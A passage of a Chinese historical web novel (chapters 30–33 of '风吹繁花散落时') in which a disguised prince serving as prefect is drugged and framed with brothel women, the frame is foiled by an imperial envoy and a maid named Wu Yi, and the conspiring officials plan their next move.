李博远远看见吴怡趴在门上向里张望,便躲在角落里观察。见吴怡只是叫了两声就走了认为她应该也没什么事,李博还是在角落等了一会,四下看去也没有什么可疑的人,李博终于放心小心翼翼来到门边,一推门见没有被插上就进来了。 院子里空空荡荡的,李博正觉得奇怪,忽然听见书房方向有女人的笑声,李博轻手轻脚来到书房墙根下,透过窗户向里查看。只见周启趴在桌子上,一群花枝招展地女人围着他,只听一个女人一边笑一边说,“哎呦,怎么睡着了啊,你们说这是大人吗?” “是吧,要不然他怎么一个人坐在这,那些人不是都在下人房间呢吗!” “哈哈哈,那姐妹们,来啊,妈妈可说了,只要伺候好大人,给咱们每人五十两银子!” 一个女人甩着手帕说,“这都睡觉了,怎么伺候啊!” “嘿,弄到床上不就行了,明天一起来还能不认账啊!” 众人都笑了起来,“哈哈哈,是是是,来,姐妹们咱们把他衣服先脱了,看他怎么赖账。” “哈哈哈,好好好。” 李博在窗外见周启一动不动,又数了数女人一共是五人,盘算着自己进去对付她们还是绰绰有余。李博蹑手蹑脚,猫着腰看女人们开始脱周启的衣服,李博来到跟前,使劲将女人们一个个打晕,她们甚至没有看清怎么回事就七扭八斜得倒在地上。 “周大人!周大人!”李博使劲推了推周启,见他一点动静都没有,“五皇子,五皇子醒醒啊!”李博试了试周启的脉搏,还好还活着,想找水将周启弄醒,可是茶杯里一点水也没有了。李博刚要把茶杯放下,又拿起来凑到鼻子边上闻了闻,不过是龙井的味道。 正在此时,门口突然跑进来一个人,还顺边插上了门,“周大人,周大人!”李博往外看去,见刚才叫门的女人又回来了,一侧身躲在门边上,吴怡直奔书房而来,在门口喊了两声便探身向里张望,李博一个箭步过来,一把抓住吴怡的脖子,另一只手抓住了吴怡的胳膊站在了她的身后。 “什么人!” “啊!”吴怡被吓了一跳,正对着周启的方向,见地上躺着好几个人不知是死是活,周启也在桌子上一动不动,“连锁,何平,救命!”吴怡大喊一声。 李博在后边想认识连锁和何平的人应该是自己人,“别喊,自己人!快,帮我把周大人叫醒!”李博放开了吴怡的脖子,拉着她来到周启身边。 “你是?” “你先别管我是谁,你来干什么?” “哦,对了,我刚才听见一个老鸨子吩咐她的手下要来知府衙门闹呢。” “老鸨子?” “就是妓*院里……” “我知道,你,赶紧想办法把周大人弄醒,我把她们先藏起来。” 吴怡见一地的姑娘,“哎,这位大人,周大人叫了姑娘,怎么自己先睡着了?” “什么叫姑娘!”李博简直不相信自己的耳朵,“你,我不管你是谁,现在时间紧迫,你赶紧把周大人弄醒!”李博不想与吴怡多费口舌,已经开始托地上的人,将她们往后边的柜子里装了,还不忘塞住了她们的嘴。 吴怡拍拍周启的脸,见他没有反应,使劲拧了他的耳朵一下,还是没反应。吴怡觉得奇怪,心想睡这么死!好吧,那就让你知道知道我吴怡的厉害!吴怡将周启的手拿起来,拔下头上的钗子使劲往周启的虎口上一扎,周启身子动了一下,渐渐睁开眼睛。 “嘿嘿,大人你醒了!” 李博见周启醒了也赶紧过来,“大人!” “你们怎么在这?”周启觉得全身无力,使劲支撑才坐起来。 “大人,不关我的事,我想走的,是他,他非得要扫了你的兴致,你看,你的姑娘也是他打晕的!” 李博也是服了,“你!” “李博”周启拉了一下李博,门外正好响起了叫门声,“周大人,周大人!我们的姑娘怎么样啊?是不是该让她们回去了!”老鸨子尖尖的声音穿透进来,后边还跟着一帮大老爷们的笑声,“是啊,咱们姑娘也是时候回去了!哈哈哈!” 李博赶紧走到窗户边查看,又看了一眼周启,“怎么办?” 周启在座位上看了一眼李博又看一眼吴怡,“吴怡,你刚才是不是扎我了?” “啊?大人,大人,这这这,是他让我……” “钗子拿来!” 吴怡见周启目光坚定,便犹犹豫豫的将钗子交到周启手中,周启拿过钗子找准了穴位使劲一扎,钻心的痛让周启瞬间清醒来了。 “你们听着,吴怡,你拿着这钗子,他们都在厨房,你去把他们也弄醒。李博,一会你先躲在花坛子后边,那里足够藏身,等人进来了,你就走到他们中间,然后在必要的时候再现身。” “那你呢?” “我去开门,你们见机行事,不要暴露行踪。” “是!”李博已经答应,吴怡还不知道怎么了,原本她听见老鸨子说要来找麻烦才赶紧回来告诉大家一声,没想到里边这么乱,要知道不回来了!正想着,周启已经起身往门口走去。 小门缓缓而开,周启见老鸨子带着她的小厮在前,徽州城的百姓在后,大家见他出来都停止了指指点点。 周启往前走了两步,扫视了一眼大家,稳稳当当站好。“有冤到前堂去申!” “呦,大人,怎么这么快不认识人了呀!”老鸨子将手帕往前一甩,香味差点熏着周启,“咱们都说好的,太阳一下山就叫姑娘们回去,怎么大人就要赖账了?大人,姑娘们要是过夜那可不是这么价来了,你看……”老鸨子两只手指头来回搓着。 “本官不明白你在说什么,不过本官要提醒你,这里虽然是后院,也是知府衙门,你在这里胡说和在公堂上作伪证是一样的道理!” “哎呦,大人,怎么现在就赖上账了啊!哎呦,大家伙快看看啊,我们小本生意,怎么大老爷就要将我们都给抓起来了啊!”老鸨子一边煽动百姓,一边吩咐小厮,“快,赶紧叫咱们姑娘回去了!要不这生意可是没法做了!” 周启见大家指指点点,老鸨子很快就要越过自己进院子里去了,干脆闪在一旁,“本官身正不怕影子斜,若你非说你的姑娘在这,你就好好喊两句,她们听见了自然出来……” 老鸨子哪能错过这机会,不等周启说完,一个箭步已经窜到院中,带着小厮开始乱叫起来,百姓们见知府大人都给让路了,也开始凑热闹。周启赶紧走在前边,自己往厅堂走,李博在花坛子后边生怕被人发现,幸亏大家都跟在周启身后像看着他似的。 周启在廊下站定,所有人自然都等着看他说什么。“各位百姓,本官身正不怕影子斜,所以才叫各位进来。这位,鸨母,非说她的姑娘在这,那我们不妨都喊一喊,看看我这知府衙门能不能走出来一位姑娘!”周启见李博已经站在所有人身后,心中安定下来,“不过,本官可把丑话说在前头,若是没有,鸨母带头在知府衙门闹事,其罪当诛!大家都要给本官做个见证!”后边这话,周启已经说得什么严厉。 而厨房中,吴怡已经将所有人都扎醒了。 第三十章 陷害(下) - 风吹繁花散落时 - 红酒羊排 老鸨子站在院子里一手叉着腰大喊起来,“你们这帮子丫头片子,还不赶紧给老娘滚出来!” 李博在后边着急了,生怕自己下手轻了,万一醒来一个可不是闹着玩的。 何平与连锁已经看清了外边的情形,叫吴怡在厨房别出来,一个个雄赳赳走了出来。连锁一马当先,“大人,小的们原本在吃饭,开始没听见动静,让大人受惊了,小的们知罪,请大人降罪!” “请大人降罪!”侍卫门这一句声音可不低,把所有人都镇住了。 老鸨子可是拿钱办事,刚才知府还说自己若说了假话和在公堂上作伪证一样,老鸨子现在为了自己也得拼了。“呦,周大人,这是您的知府衙门,我们小老百姓都知道,可是您不能扣着我们姑娘不还呐!”跟在后边的小厮一个个也来了精神,“就是啊!赶紧都出来!” 何平带着侍卫来到台阶上将周启与所有人隔开,“保护大人!” “我说周大人,我的姑娘明明就在这里,你怎么?要借着官威欺压我们百姓啊!” “那你打算如何呢?” “除非让我们搜!否则你的话我们不信!” “对,不信!我们不信!” “放肆,知府衙门是你能搜的吗!”何平大呵一声。 李博一听,该自己上场了,赶紧往后退了五米,“若是本官要搜呢!” 周启与众人赶紧恭恭敬敬给钦差施礼,吴怡在厨房扒着门听见这男人竟然是钦差,更加不明白发生了什么。 老鸨子见来了一位比知府还大的官员,心中更加有了底气,“就是,必需把我们姑娘还给我们!青天大老爷呀,您可得给我们做主啊!” “钦差大人,若是您非要搜,下官也不能拦着,不过若是什么也没有,这个鸨母诬陷本官,还请大人还下官一个清白!” “本钦差受朝廷委派来此,绝不会冤枉一个好人,也不会放过一个坏人!都给本官让开,本官亲自查看以求公允。” “大人!”吴怡不知什么时候站在人群中,“大人,官官相护,我们小百姓如何信服?”吴怡这么说,侍卫门面面相觑,何平看了一眼周启,见他脸色平静。 “哦?那好,就你吧,你与本官一同查看,如何呀!” “啊?我,我我,我行吗?”吴怡看了一眼周围的百姓,见大家也没有什么别的异议,“成,那我就来看看这知府衙门到底有没有姑娘!哼,幸亏钦差大人在此,我们小老百姓也有人做主了!” 在百姓的一片欢呼声中,老鸨子大喊一声,“那我也……” “鸨母,你现在是当事人,就和周开知府一样,你们都不能进入房间,本官与这位,这位百姓一起,你们都在门口看着。” 说着两人进入房间,一间一间看过去,连柜子也打开,看不见的地方还往外掏出柜子里的东西。终于到了书房,柜子打开里边有两个女人,另一个柜子也有一人,剩下两人在柜子后边看不见的地方瘫着。幸亏这里的书架极多,两个两个背靠背放着,幸亏刚才李博藏人的柜子虽然离书桌近,离门却远,甚至被前面的香炉挡住了视线。吴怡把手伸进去,“这柜子怎么是空的呀!”吴怡还来回用手摸了摸,在外人看来好像什么也没有的样子。 “这里是书房,平常女人是不能进去的!”周启在门口眉毛都拧起来了。 “嘿。今天有咱们钦差大人在,我就是要看看。”说着吴怡使劲关上了柜子门,打开另一个柜子,把里边的书掏出来随意扔在地上。 “钦差大人!我周开再怎么也是徽州知府!是朝廷命官,你就任由她在我书房里胡闹,真是有辱斯文。”周启拂袖而去。 李博假装不在意,“你去那边看看,本官在这边看看。” 吴怡在书房里跑起来,后边的架子都跑到了,“大人,什么也没有,都是书!要不咱们把书都搬出去看看?” “好了,既然你看过了,本官觉得也没有必要搬什么书了,难道这架子上还能藏一个人吗?咱们去别的房间看看吧!” “成,我看也不可能把姑娘藏书里。” 鸨母根本不在意什么书房,卧房才是关键,两人将所有房间都看了一遍。在卧房,老鸨子“指挥”两人看这翻那的,一个脚已经跨进门去,被何平一瞪又吓住了,还是继续“指挥”两人,结果什么也没找到。 “大人,您说这大活人能这么没了吗?”吴怡叉着腰一脸不可置信的样子。 “鸨母,你的人呢?” “这,这这不可能啊!她们明明……” “明明是你信口雌黄!” 鸨母吓了一跳,赶紧分辨,“哎呀大人啊,我们的姑娘……” “放肆!你如此诬陷周知府是何居心!说,谁派你来的!”说着李博看见门口进来了他的随从,原来是何平派人去叫的。“来人,拿下!” 随从应声过来将老鸨子一行按倒在地,大家连连求饶,“大人啊,大人,冤枉啊冤枉!” 李博招呼人将他们都带走,百姓们见没了热闹也都安静下来,何平上来组织大家出去。 吴怡看周启从房间出来,带着连锁进了书房。吴怡走过来见周启与连锁一起正在收拾,吴怡站在门口,“大人,我刚才不是故意扔书的。” 周启看了吴怡一眼,什么也没有说继续整理。李博也走进来,好不容易整理完了,吴怡在门口进去帮忙也不是,直接走了也不是。 “吴怡。”周启终于收拾完了,来到院子里。 “大人,我这,我也是好心,我不是故意要扔你书的,你,大人,你别生气啊。” “吴怡,钱家给你多少月例?” “啊?大人,我,我……” “我给你五倍。” “五倍?”吴怡不知道周启想干什么,但是五十两银子的诱惑有点大,“大人,我在钱家赚十两银子,这是他们在告示上写的清清楚楚的。” “怪不得呢!”众人一看,娉婷不知何时回来了,“连招呼都不打就跑了。” 吴怡刚要和娉婷争辩,只听周启心平气和说到,“本官给你五十两,不过你在这里什么也没看见。”一听五十两,吴怡的智商迅速占领高地,“大人,我看见了!”吴怡坚定的说,“我看见一个老鸨子要诬陷大人,幸亏钦差大人恰巧经过亲自检查还大人清白!还是小民一起检查的呢!大家都看见了!” 周启看着吴怡,嘴角上扬,示意连锁给银子并送吴怡出去。吴怡捧着沉甸甸的银子心里美滋滋,刚到门口想起钱宁的话,“连锁管家,我那个……” “吴怡,钱你踏实拿着,这是你应得的。” “不是,管家大人,我们少东家说了,你们那个同知大人可能有问题,让我告诉你们一声,好了,我走了。” “哎,吴怡,你能不能说的具体点?” “少东家就是这么说的,别的我也不知道。” 连锁思索一下,心想今天的事情很有可能就是余年干的,“吴怡。”连锁用手按了银子一下,“你在这什么也没看见,什么也不知道,就是对你们少东家你也应该这么说,你懂吗?”连锁见吴怡愣愣的样子,又加了一句,“这是为他好,更是为你好,吴怡,慢走。”说完,连锁回身,“咣当”一声关上了门。 吴怡捧着银子感觉沉甸甸的,连锁的威胁她听明白了,虽然心里有点怪怪的还是很开心地往钱家去了,心想:自己就是什么也没看见。 娉婷知道了发生的事情,明白这很严重,正好连锁回来,“你看你招来的人!幸亏不是毒药!要不一屋子人都被干倒了!” 连锁赶紧跪倒在地,“大人,小姐,奴才该死,奴才该死!” 周启在廊下稳稳当当站着,脸色还是平静如水,“何平,去前面找到刑名师爷,告诉他,李氏偷盗府衙财产逃遁,即日起告示全府,悬赏一百两,本官一定要找到她!” “是!”何平领命,向前衙走去。 “连锁辨人不明,廷杖二十。”说完,周启与娉婷到书房里去了。 “哥。”娉婷还想问问情况,可是周启没时间搭理娉婷,招呼人把几个女人抬出来一一弄醒审问起来,李博也带着人去牢里审问鸨母。 这几个女人不过按照鸨母的意思办事,其实什么也不知道。五个人哭哭啼啼跪在地上,让人心烦意乱。 “本官问你们,你们想回去,还是想从良呢?” 五个女人相互看了一眼,“大人,大人,我们也是好人家出来的,被家里人卖了,老鸨子天天打我们,还让我们接客,我们要是不回去,老鸨子早晚要抓住我们就地打死。” “她已经泥菩萨过河了,哪有时间管你们。” 一个女人壮着胆子说到,“大人,我们不回去又什么也不会,以后怎么生活呢?况且我们是贱籍,就算出去了也无法营生。” “本官自然为你们削去贱籍。” 五人一听磕头如捣蒜,“大人大恩大德!大人,其实我听见了,老鸨和一个男子说话。” “什么男子?” 第三十一章 人算不如天算(上) - 风吹繁花散落时 - 红酒羊排 原来张海的随从奉命到万花楼花重金买通了老鸨,说只要姑娘们在衙门里伺候了知府大人,老鸨子在外边一闹,以后知府就是她万花楼的金字招牌。老鸨子一想春兴楼宣扬知府未上任就在她们那里过夜,所以才得意洋洋,要是自己也与知府搭上,这知府又是状元姥爷,那以后万花楼在这一片可就是行业老大了。 李博在牢里也审问了出来,老鸨子还将怂恿自己的人的长相描述了出来。李博吩咐人将画像张贴,与李氏一起悬赏缉拿。老鸨子与她的小厮被分别关押,五个女人则被释放。 吴怡捧着银子来到陈记存钱,这还是吴怡有生以来第一次进入钱庄。别说吴怡大多数时间都处于饥一顿饱一顿的状态,就是有钱也都得带在身上,当然是为了安全。可是如今,吴怡不仅有一个稳定的住所,再过几天还要发月例,再带在身上就不方便了,况且这五十两银子千万不能让别人看到。 “这位姑娘整存吗?”陈记的称银子老伯例行公事的询问。 “恩!”吴怡干脆利落得回答。 “好,这就……” “等等!”吴怡忽然大喊一声,把老伯吓了一跳。 称银子老伯这才抬头看清吴怡,穿了一身短打,但是头上的发髻老伯可认识,和钱家丫鬟的样式一模一样,老伯心里盘算,不知道这位姑娘哪里来的这么多银子。“怎么了?” “老伯,我得问一下,要是银票丢了怎么办呀?” “丢了?那可就没了。” “那可不成!”,吴怡踮着脚,死死捂着自己的银子。 “这位姑娘,您可以一点一点存啊。比如五两十两的,就算丢了一张损失也小点。” 吴怡真是听不得这个丢字,听见一次就肝颤一次。捂着银子的手被隔得生疼,吴怡想了又想,终于下定决心,“存!”吴怡甚至是闭着眼说出这句话,“存!但是一两银子一两银子的存!” 称银子老伯不到一个月就碰见两位一两一两存银子的,有点无可奈何。“姑娘,五十张小票,要说丢也好丢,要是您放在什么地方也不得放呀!不如这样,一两银子给您十五张,五两银子给您五张,十两银子给你一张,怎么样?” “五两银子给我四张,剩下都给我一两银子的!”吴怡可是下了很大决心才接受了五两的小票,丢一个吴怡都心疼的要命。 称银子老伯看这位也是第一次存银子,真是爱财如命啊,“得嘞,收您五十两,这是三十张一两银子的小银票,这是四张五两银子的小银票,您拿好。” 吴怡美滋滋拿起一大堆小银票,整整数了三遍,“嘿嘿,得,不多不少。忙着您,我走了,嘿嘿嘿。” 晚上回到自己房间,吴怡趁别人还没有回来翻箱子倒柜,最终还是藏在了自己的铺盖底下。刚藏好,春菊回来了,“吴怡,这么早铺床啊?” “啊?是啊,有点累了,想早点休息了。”吴怡强装镇定,差点从炕上掉下来。 “我听说你去少东家书房学写字了?少东家对你真好!” “嘿嘿,少东家说了,读点书没坏处。”吴怡跳下床,与春菊闲聊起来。“对了,春菊姐姐,你会不会缝腰带啊?” “腰带?你不会是想送给少东家吧!”春菊笑着说,白芷也正好回来,“送给少东家什么?” “吴怡要送给少东家一条腰带!” “啊?真的?” “你们别胡说,我是要自己带的。” “不可能,你看你腰上那条,根本就是两根绳子一拧,还腰带呢。” “所以我要缝一条嘛。”吴怡是想将小银票藏在腰上,可是春菊和白芷不依不饶,非说要送给少东家的。 “我告诉你们啊,少东家早晚要了你!”白芷突然像说出天大的秘密似的。 “我看也像。”春菊应和到,“吴怡,到时候你做了姨娘,可别忘了我们。” “你们胡说什么!我吴怡绝不会做什么姨娘!”吴怡态度坚决的说。 春菊与白芷对视一眼,脸上含笑却什么也没再说。 “我说的是真的!”吴怡见她们这样,知道她们不信。 “好好好。”白芷过来拉着吴怡,“吴怡,少东家对你这么好,我们都羡慕呢,他从来没有教过别人读书写字,难道你看不出来少东家喜欢你吗?” “少东家是好人,对谁都好。” 春菊和白芷又对视一眼,“算了,吴怡,我来教你缝腰带吧。” “好呀好呀!”吴怡才不管少东家喜欢谁呢,做腰带才是正经事。两人缝到深夜,吴怡躺在床上已经很累了,脑子却停不下来。想起自己正躺在五十两银子上,差点乐出声来,抬头看了看春菊与白芷,两人已经睡熟。吴怡忍了半天才没有将小银票拿出来,心里还是兴奋异常,公鸡都打鸣了才迷迷糊糊睡着。 窗外的鸟儿叽叽喳喳,终于将吴怡叫醒,她见房间空无一人便一下子坐起来,打心里透着高兴,吴怡翻开了铺盖的一角,将一张小银票拿在手里,“吴怡。” 突然春菊回来了,吴怡赶紧将小银票放好,手忙脚乱拍了拍褥子,“哎,啊?春菊姐姐。” “你怎么还没起呢?” “我,那个,昨天老夫人说了让我今天下午再去,上午她去庙里了。” “哦,你刚才干嘛呢?” “没事啊,我,我这就起了,你怎么回来了?” “嘿,早起一着急把东西忘了,我这就走了,你也快起吧,别人看见了像什么样子。”春菊拿上东西就走,走出门口了还在说。 “恩,好。”吴怡被春菊这么一吓,高兴劲早没了,一拍大腿,心想:真是怕什么来什么呀!还是赶紧起床做好腰带,赶紧转移财产,要不露馅了。 这么想着,吴怡下了地,刚洗漱完白芷就回来了。 “吴怡。” “白芷姐姐?你怎么也回来了?” “少东家叫我来找你,你快跟我来。” “怎么了?” “还说呢,少东家说昨天托你做事,你怎么也没有回禀一声,快来呀,少东家等着呢。” “哦。”吴怡这脑子被五十两银子冲昏了,光顾着藏钱了,把钱宁给忘了。 张海也被余年叫去,两人没想到陷害周启不成,张海的随从张广还暴露了。 “那画像可是清清楚楚,本官在牢里的眼线也说的明明白白,你那个随从做事真是不谨慎,第一次出手非但没成功还给了人家把柄。”余年十分不悦。 “大人,这种事情总得有人去做,暴露也是不可避免,如今还是想想怎么补救吧。” “补救?画像都贴在墙上了,还有那个老妈子李氏,你找到没有?” “大人,一个老妇人能跑到哪里去?现在最重要的是牢里那个老鸨子,她可是人证。” 两人互相看了一眼都明白,大家都想先把自己屁股上的屎擦干净:老鸨子是张广去买通的,而李氏则是余年的人威胁的。两人原本计划的好好的,如今竟然都出现了披露,真是人算不如天算。 “你的意思呢?” “那个老妈子李氏,我派张广去找,牢里的老鸨子,大人想想办法吧?” 余年心里烦透了,原本只是咬一下周启的事,当时想着张海对所有事情都是有把握的,如今不仅自己与上司打起了擂台,还越陷越深,居然要自己出面去解决。 “你找李氏,我解决牢里,你先走吧!最近都不要见面!” 张海刚从余年家里出来,张广正在街对面死死看着自己。张海只看了张广一眼,看了看四下,两人回到了住处。 一进客厅,张广将佩剑抽出,从后边放在了张海的肩膀上。 “哈哈哈哈……”张海笑了出来,“杀了我你就能脱身吗?” “我死了,还会有其他的人来,到时候你的事三皇子会不知道吗?” “我的本意也不是让你死。” “什么条件?” “找到那个老妈子李氏,就是知府衙门做饭的人,余年就会处理了牢里的老鸨子。到时候就算有画像又有什么用?” “张海。”张广的剑移开了,冷冷的说,“我可以不把你的事告诉三皇子,但是我不仅得活着,还要你一半的利润。” “哈哈哈哈。”张海又笑了起来,“顶多给你三成。” “成交。” 两人不多言,但是欺上瞒下的本事似乎是从骨子里带出来的,这些年两人已经敛财了很多次,在这富可敌国的徽州城,两人打算先填饱自己的腰包。 李博又来到知府衙门后院,将昨天的纸条给了周启。“大人,这张海我查过了,刚来徽州不久,也不做生意,就买了个宅子,天天招聘家丁,看着很富贵的样子。” “他为什么与余年混在一起?” “现在还没有查出来。” “给你扔纸条的人也没有线索吗?” “暂时没有。会不会是钱家?” “他们为什么没有告诉娉婷,况且你假装与余年来往甚密,他们最不应该告诉的人就是你啊。” “那会是谁呢?” 周启认真思考,突然觉得虎口隐隐作痛,低头一看,虎口处有个小红点是昨天被吴怡扎出了血,“昨天吴怡干什么来了?” 第三十二章 人算不如天算(下) - 风吹繁花散落时 - 红酒羊排 全城都已经知道昨天有人到知府衙门胡闹,钦差大人和一位平民丫头一起现场办案,还周知府清白。钱万全也在书房,见吴怡进来,看了一眼钱宁。 钱宁向前一步,“吴怡,昨天你去知府衙门了吗?” “去过了,我还和钦差大人看了周大人的房间呢,什么也没有。”吴怡已经想好了一套说辞,“老爷,公子,我已经告诉连锁管家余大人可能有问题。” “你就这么直接说了吗?” “是啊,少东家你放心吧,连锁管家会看着办的。” 钱家父子面面相觑,虽然他们希望周知府知道,可是不想卷入官吏争斗。 “好了,既然已经说了,也不可能收回来了,钱宁,你准备准备,明天就出发吧。”说着钱万全离开了书房。 “少东家,你要去哪啊?”吴怡看钱万全走远了,来到钱宁身边。 “哦,我们的茶叶要找新的买家,张浩已经回来了,说要去京城。” “去京城?” “是啊,爹原本想去南方,张灵妹妹想说服爹去西凉,张浩回去后,张伯伯主张去京城,爹也赞成了张伯伯,所以派我去京城,吴怡。”钱宁抿着嘴笑了笑,“这次去京城,你跟我们一起去吧!” “啊?我?”吴怡没想到钱宁会想带自己去京城。 “是啊,你不是想学做生意吗?况且我教你读书写字,若等我回来,你可就都忘了。” “那,那老夫人这边?” “你放心,只要你愿意去,我去回禀奶奶。” 吴怡一时不知道说什么,刚才她还在为了五十两银子兴奋,现在就要去京城了。“少东家,我去!”吴怡一直漂泊不定,虽然现在好不容易安定下来,对于做生意赚钱的渴望还是更胜一筹,吴怡心想:跟着少东家总没错的,没准哪天自己偷师成功,发财了呢! 钱宁欣慰的微笑,“那你先去准备准备,还有,你去账房把你的月例领回来,要是你在外边有什么需要的,带着钱总没有坏处。” 吴怡一听要领月例了,更加高兴了,“哎,我这就去,嘿嘿,少东家,我们什么时候出发?我去收拾东西。” “明天一早!” “好,我这就去!少东家明天见了!” 吴怡从书房出来,脚步轻盈,从账房出来更加轻盈了,因为账房给了吴怡一个月的月例,说是少东家吩咐的。吴怡高兴的要飞起,人生中最有钱的时刻不断来临。吴怡甚至庆幸刚才答应了去京城,徽州富得流油,京城也遍地黄金。 吴怡哼着小曲回到房间,“吴怡回来了。” “春菊姐姐?你怎么在呢?” “我,哦,我来拿腰带,小姐刺绣可好了,我想让小姐帮我看看,以后能缝得更好不是。” “恩,是。”吴怡往屋里一看,“春菊姐姐,你的腰带。” 春菊回头一看,腰带还放在炕上,赶紧过来拿,“哎呀,瞧我,那我走了啊。”春菊拿上腰带连跑带颠地走了。 吴怡看了看,觉得奇怪,转身看见自己的褥子又高兴起来。吴怡赶紧把门窗都关上,掏出自己的腰带,将小银票都藏在腰带里,把最后一点缝完,在腰间比划来比划去。吴怡突然想起“腰缠万贯”,噗嗤笑了起来。 此时李博已经写好了奏折,认为余年参奏无理,钱记茶庄的事情还需要时间调查。 娉婷被请到陈家,陈千朗拉着陈明阳给娉婷赔礼道歉。“哼。”娉婷端坐在客厅的椅子上,十分傲娇得把脸一杨。原来昨天在门口胡闹,陈明阳拉着陈千朗进了门,当着娉婷的面“哐当”一声将门关了。 “大小姐,我们昨天实在无理,请大小姐赎罪。”陈千朗恭恭敬敬给娉婷抱拳施礼。陈明阳拧着眉毛见娉婷这样觉得她更讨厌了。无奈陈千朗一扭头,看见他正直直瞪着娉婷,气不打一处来,一脚踢在陈明阳腿上,陈明阳一条腿跪了下来。“你这个逆子!还不快给大小姐道歉!” 陈明阳想起来,被陈千朗按着动弹不了,“爹!” “快点你!” 娉婷转过头看着陈明阳,看他恶狠狠瞪着自己,觉得委屈,不自觉撅起嘴。“算了你,我才不要你给我道歉呢!” 陈千朗一听这话,手里稍微松懈,陈明阳趁机站了起来,“我才不会给你道歉呢!就你!你想作威作福回你的知府衙门去!或者你干脆回京城,问问你爹娘为什么不好好教教你!” 娉婷一下子站起来,“你说什么!” “一点道理也不讲,刁蛮任性!你以为全天下都围着你转呢!”陈明阳声音越来越大,陈千朗赶紧拦着,“大小姐,大小姐他不是……” “你闭嘴!你让他说,我周娉婷到底做了什么伤天害理的事情,你凭什么这么说我!” “还你做什么了。你,你,我真是倒了八辈子血霉,我告诉你,以后咱们要是远远看见对方就绕着走,千万别说我认识你!” “陈明阳!”娉婷急了,从小到大还没有人敢这么跟她说话。“你这个混蛋,来人呐!”,娉婷看着四周才发现这是陈家,自己根本没带人来,心中更加懊恼,指着陈明阳鼻子说到,“本公主早晚剁了你!” “你真以为自己是公主呢!不是你家里宠着你,你就是公主了,公主要是你这样,我看我们大周朝真是没救了!” “你!”娉婷一时语塞,跺着脚大喊一声“啊!陈明阳,我讨厌你!” “那最好了!你赶紧给我走,我们永远也别见面!” “陈明阳!你怎么回事?我们昨天不是说的好好的!”陈千朗终于听不下去了,“爹,你看她那样,就一女土匪,我才不给她道歉呢!还写信骗我,要不是她是女的,我都……人呢?” 两父子竟顾着争辩了,一看娉婷已经走了。“你看你呀!大小姐。”陈千朗正要追,陈明阳一把拉住,“追她干嘛,走了正好!” 娉婷回到知府衙门,将自己房间门一甩趴在床上大哭起来,一会儿又将所有东西砸了。李博正好到来,进来相劝。 “你滚!”娉婷将杯子摔在李博脚下,“滚!” “公主,你别气坏了身子。” “不要你管!”娉婷带着哭腔,从小到大,李博就是娉婷的出气筒,“你去,你把那个陈明阳给我抓起来!你去呀!” “公主,五皇子知道了,肯定得骂你,你还是冷静点吧!” “我不管!你要是不去,我自己去!”说着娉婷往外走,李博知道她的脾气,若是自己和何平都不管,她很有可能带着府兵去找陈明阳算账,这种时候千万不能再闹出什么乱子来了,李博从娉婷身后抱住娉婷,给她抱回了屋里,放在床上,“公主,你今天哪也不能去!” 娉婷挣扎半天,又砸东西又骂李博的,还是无济于事。终于到了中午,周启回来了,娉婷也已经闹累睡觉了。 “她怎么了?” “好像什么陈明阳招惹她了,没事,发点脾气也就过去了。” 周启一听又是陈明阳,真不知该说点什么,“别管她了,你是不是快回京了。” “应该快了吧,折子已经递上去了。”李博见周启看着地面,似乎在想什么似的,“怎么了?” “你说父皇叫你来明明是站在我这边的,如今你这么上折,会不会……” “嘿,你的人品皇上肯定信得过啊,再说了,六公主怎么样皇上也心知肚明,她胡闹,皇上总不能怪你,况且我已经取得了人证物证,都能证明你绝无偏私,所以即使知府不是你,我也会如此上报的。” 周启不置可否,对于皇上的心思,周启大多时候猜不到,就是来当知府也是一头雾水,周启想破脑袋也没想明白为什么。李博来当钦差也让人意想不到,他一直以为会派一位自己不认识或者比自己大的长辈来。说白了李博是周启的随从,皇上再怎么信任自己也不会在朝政上如此随意。就好像小时候,明明自己没有做错事也要承担责任,更何况有人上凑单核自己,会这么就轻描淡写的过去了吗? “揣测圣意不是我们应该做的,还是谨慎一点吧。钱记的事情继续调查,张海也要抓紧时间调查,余年倒是不足为虑,牢里要看好了,李氏也要赶紧寻找。” 李博不敢怠慢,以钦差的身份派人在全城寻找李氏和不明男人的下落。 此时,钱老夫人正带着人要回府。 李婶知道知府衙门再找她,她不敢回去,也不知道该逃去哪里。看见老夫人一行来上香,原本藏在庙里的李婶动了心思,正好张广来到庙中寻找李婶的下落,李婶灵机一动躲在老夫人的随从里,跟着进了钱府。 李婶用身上的钱买通了后院管事,她不敢去厨房怕别人找,就在后边打扫卫生,还特意改变了发髻。晚上,李婶拖着疲惫的身子躺在床上,心里懊悔极了,若不是一时贪心自己还好好的在知府衙门受人尊重,如今不仅母子分离,还提心吊胆,这真是自作孽不可活啊。 第三十三章 一计不成再来一计(上) - 风吹繁花散落时 - 红酒羊排 钱家的商队一早出发,吴怡骑在马上看着绵延的商队,兴奋异常。来时碰到了“倒霉”的周知府,害自己忐忑不安得进了城,如今骑着高头大马,吴怡觉得人生真奇妙。钱宁与张家兄妹告别了钱万全,带领商队向京城出发。 娉婷在房间还没出来,周启还没见过娉婷与谁如此较劲过。周启出门在徽州城溜溜达达,正看见钱家的商队,周启看见吴怡在马上东张西望,骑马的姿势一看就十分生疏,掉下来是迟早的事情,心想这女人还真是万事不愁,天天美滋滋啊。周启暂时不想管别人,一路看似悠闲得来到陈记钱庄斜对面的小茶管坐下。 “客官,点茶吗?” “什么都行。” “这位客观,新到的信阳毛尖,您看?” “恩。”周启对于吃喝原本就不在意,眼睛紧紧盯着陈记。不一会儿,陈明阳来了,陈记也进进出出很多客人。 周启一边喝茶一边观察,陈明阳一会看账本,一会招呼客人,一会进内堂去,没有什么异常。周启甚至观察起陈明阳的长相来,两尺有余的个头,五官分明的脸,颧骨虽然有些高,不影响整体的协调,嘴唇有点厚实,脖子修长。周启正拿着茶杯死死盯着陈明阳,一旁来了一人,“周大人?” 周启寻声一看,竟是钱万全,“钱老板。” 钱万全也不等招呼就直接坐在周启旁边,“周大人怎么在这里喝茶啊?不如去我柜上,极品铁观音,请周大人尝尝。” “不必了。”周启喝了一口茶,慢慢悠悠看了一眼钱万全,“钱老板,你让吴怡告诉本官的话,本官不太明白。” “嗯?小民没有传什么话啊!” “哼,好吧,既然如此,你又何必告诉钦差呢?” “钦差?” 周启在宫里时间长了,最会看眼色,之前说吴怡传话,钱万全的样子就是自己不想搅浑水的意思,如今说李博,钱万全倒是真的不明白的似的。 “钱老板,你看对面。” 钱万全看了一眼陈记,又看了一眼周启。 “你们钱记与陈记共同进贡茶叶,为什么陈记什么事情都没有,不管是本官还是钦差都是查你们钱记呢?” 